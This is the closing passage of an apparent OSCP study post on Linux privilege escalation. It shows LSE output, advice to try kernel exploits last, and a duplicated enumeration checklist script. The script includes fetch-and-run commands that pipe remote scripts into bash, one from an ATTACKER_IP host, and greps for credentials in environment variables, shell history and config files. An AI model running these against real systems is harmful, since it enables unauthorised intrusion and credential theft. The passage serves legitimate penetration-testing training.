/etc/passwdThree findings in one output pass: a CVE in sudo, a SUID Python binary, and two writable critical files. Any one of those is root.
LSE — Quieter Alternative
Linux Smart Enumeration is less noisy and better for targeted checks:
www-data@victim:/$ curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh \
| bash -s -- -l 2 -i
[*] usr020 Can we list other users' home directories?..... yes!
[!] sud040 Can we run 'sudo' with a password?............. yes!
[!] fst010 Can we write to files owned by root in /etc?.. yes!www-data@victim:/$ curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh \
| bash -s -- -l 2 -i
[*] usr020 Can we list other users' home directories?..... yes!
[!] sud040 Can we run 'sudo' with a password?............. yes!
[!] fst010 Can we write to files owned by root in /etc?.. yes!Use LSE when you want a second opinion or need to confirm a specific class of finding.
On kernel exploits:_ If LinPEAS highlights a kernel CVE, note it. Don't run it yet. Work through every misconfiguration-based vector first. Kernel exploits can cause a kernel panic which on an OSCP exam machine means a reboot and lost time. They're the last resort, not the first move._
11. The OSCP Exam Checklist
When you land a shell, run through this in order. Copy it into a notes file at the start of every exam.
#!/bin/bash
# OSCP Linux PrivEsc Checklist
# ─────────────────────────────────────────────────────────
# [1] Identity & OS context
id; uname -a; cat /etc/os-release
# [2] Sudo rights — the highest-yield first check
sudo -l 2>/dev/null
# [3] SUID binaries
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
# [4] Capabilities
getcap -r / 2>/dev/null
# [5] Cron jobs
cat /etc/crontab; ls -la /etc/cron*; crontab -l 2>/dev/null; ls /etc/cron.d/
# [6] Writable files that matter
find / -writable -type f 2>/dev/null | grep -Ev "proc|sys|run|dev" | head -30
# [7] Critical file permissions
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
# [8] Credentials in env, history, and config files
env | grep -iE "pass|key|secret|token"
cat ~/.bash_history 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null | head -10
# [9] Internal services — look for unusual listeners
ss -tlnp
# [10] NFS exports
cat /etc/exports 2>/dev/null
# [11] Group memberships that matter
id | grep -E "docker|lxd|disk|adm|sudo"
# [12] PATH abuse candidates — SUID binaries calling relative paths
find / -perm -4000 2>/dev/null -exec strings {} \; 2>/dev/null \
| grep -v "^[A-Z_/]" | sort -u | grep -v "^$" | head -30
# [13] Deploy LinPEAS in background
curl -sL http://ATTACKER_IP:8000/linpeas.sh | bash 2>/dev/null | tee /tmp/lp.txt &
# [14] Grab the proof
cat /root/proof.txt && hostname && id#!/bin/bash
# OSCP Linux PrivEsc Checklist
# ─────────────────────────────────────────────────────────
# [1] Identity & OS context
id; uname -a; cat /etc/os-release
# [2] Sudo rights — the highest-yield first check
sudo -l 2>/dev/null
# [3] SUID binaries
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
# [4] Capabilities
getcap -r / 2>/dev/null
# [5] Cron jobs
cat /etc/crontab; ls -la /etc/cron*; crontab -l 2>/dev/null; ls /etc/cron.d/
# [6] Writable files that matter
find / -writable -type f 2>/dev/null | grep -Ev "proc|sys|run|dev" | head -30
# [7] Critical file permissions
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
# [8] Credentials in env, history, and config files
env | grep -iE "pass|key|secret|token"
cat ~/.bash_history 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null | head -10
# [9] Internal services — look for unusual listeners
ss -tlnp
# [10] NFS exports
cat /etc/exports 2>/dev/null
# [11] Group memberships that matter
id | grep -E "docker|lxd|disk|adm|sudo"
# [12] PATH abuse candidates — SUID binaries calling relative paths
find / -perm -4000 2>/dev/null -exec strings {} \; 2>/dev/null \
| grep -v "^[A-Z_/]" | sort -u | grep -v "^$" | head -30
# [13] Deploy LinPEAS in background
curl -sL http://ATTACKER_IP:8000/linpeas.sh | bash 2>/dev/null | tee /tmp/lp.txt &
# [14] Grab the proof
cat /root/proof.txt && hostname && idClosing Thoughts
Every technique in this post has appeared in real OSCP exam machines misconfigured sudo entries, SUID interpreters, world-writable cron scripts, shadow files with wrong permissions. None of it is exotic. The machines are intentionally built around realistic misconfigurations that exist in production environments.
What separates candidates who pass from those who don't isn't knowledge of rare exploits. It's discipline in enumeration, systematic thinking under time pressure, and knowing the order of operations which vector to try first, when to move on, and when to trust the tools.
Work the checklist. Read the LinPEAS output carefully. And when you see euid=0(root) in your terminal, screenshot it, grab the proof, and document everything before you celebrate.
If you found this useful, my Active Directory Penetration Testing uses the same methodology for Windows environments. Questions, corrections, or additions drop them in the comments.
Tags: #OSCP #PrivEsc #Linux #PenetrationTesting #RedTeam #CyberSecurity #Hacking #CTF #OffensiveSecurity #InfoSec